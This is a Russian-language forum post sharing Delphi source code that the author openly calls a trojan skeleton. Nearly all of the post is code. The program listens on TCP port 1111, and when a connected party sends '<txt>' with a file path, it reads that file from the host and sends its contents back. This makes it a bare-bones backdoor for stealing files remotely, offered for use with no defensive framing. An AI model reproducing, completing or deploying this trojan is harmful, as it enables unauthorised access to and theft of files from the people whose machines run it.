Обещал поправлять форум сорцами - вот первый. 
 Совместными усилиями с одним хорошим человеком я сделал отличную загатовку троя на сокетах написанного на апи. Вещь в хороших руках очень позезная так что выкладываю сие сюда: 
 Code
program programm1;   
     
 uses 
    Windows, 
    WinSock, classes; 
 const 
    dwTextBufferSize = $1000; 
     
 var 
    WSAData:      TWSAData; 
    lst_sock, 
    acc_sock:     TSocket; 
    addr:         TSockAddr; 
    lpTextBuffer: PChar; 
    data_len:     integer; 
    i:integer; 
    tf:string; 
    aa:string; 
    f:textfile; 
    buf: String; 
    dd:string; 
    sl: TStringList; 
    sText : string; 
 function FileExists(FileName:string):boolean; 
 var 
    FindData: TWin32FindData; 
 begin 
    Result:=(FindFirstFile(PChar(FileName),FindData) <> INVALID_HANDLE_VALUE); 
 end; 
 procedure remote; 
 begin 
 dd:='Такого файла не существует!'; 
 lpTextBuffer := ''; 
    GetMem(lpTextBuffer, dwTextBufferSize); 
    WSAStartup(MakeWord(2, 0), WSAData); 
    lst_sock := socket(PF_INET, SOCK_STREAM, IPPROTO_IP); 
    addr.sin_family := PF_INET; 
    addr.sin_port := htons(1111); 
    addr.sin_addr.s_addr := INADDR_ANY; 
    bind(lst_sock, addr, sizeof(addr)); 
    listen(lst_sock, SOMAXCONN); 
 acc_sock := accept(lst_sock, nil, nil); 
 while true do begin 
    data_len := recv(acc_sock, lpTextBuffer^, dwTextBufferSize - 1, 0); 
 lpTextBuffer[data_len] := chr(0); 
 if Length(lpTextBuffer) > 0 then  begin 
 if copy(lpTextBuffer,1,5) = '<txt>' then  begin 
 tf:=copy(lpTextBuffer,6,256); 
 if fileexists(tf) then begin 
    sl:= TStringList.Create ; 
    try 
      sl.LoadFromFile(tf); 
      sText := sl.Text; 
      // --------------------- 
    finally 
      sl.Free; 
    end; 
 send(acc_sock, stext[1], length(stext), 0); 
 end else  send(acc_sock, dd[1], length(dd), 0); 
 end; 
 end; 
 end; 
    closesocket(lst_sock); 
    closesocket(acc_sock); 
    WSACleanup(); 
    FreeMem(lpTextBuffer); 
 end; 
 begin 
 remote; 
 end.
  
 Переменных насовал как обычно с излишком т.к. я не люблю их дописывать по ходу разработки. В этом коде представлена работа (получение\обработка\передача текста через сокеты). Порт - 1111.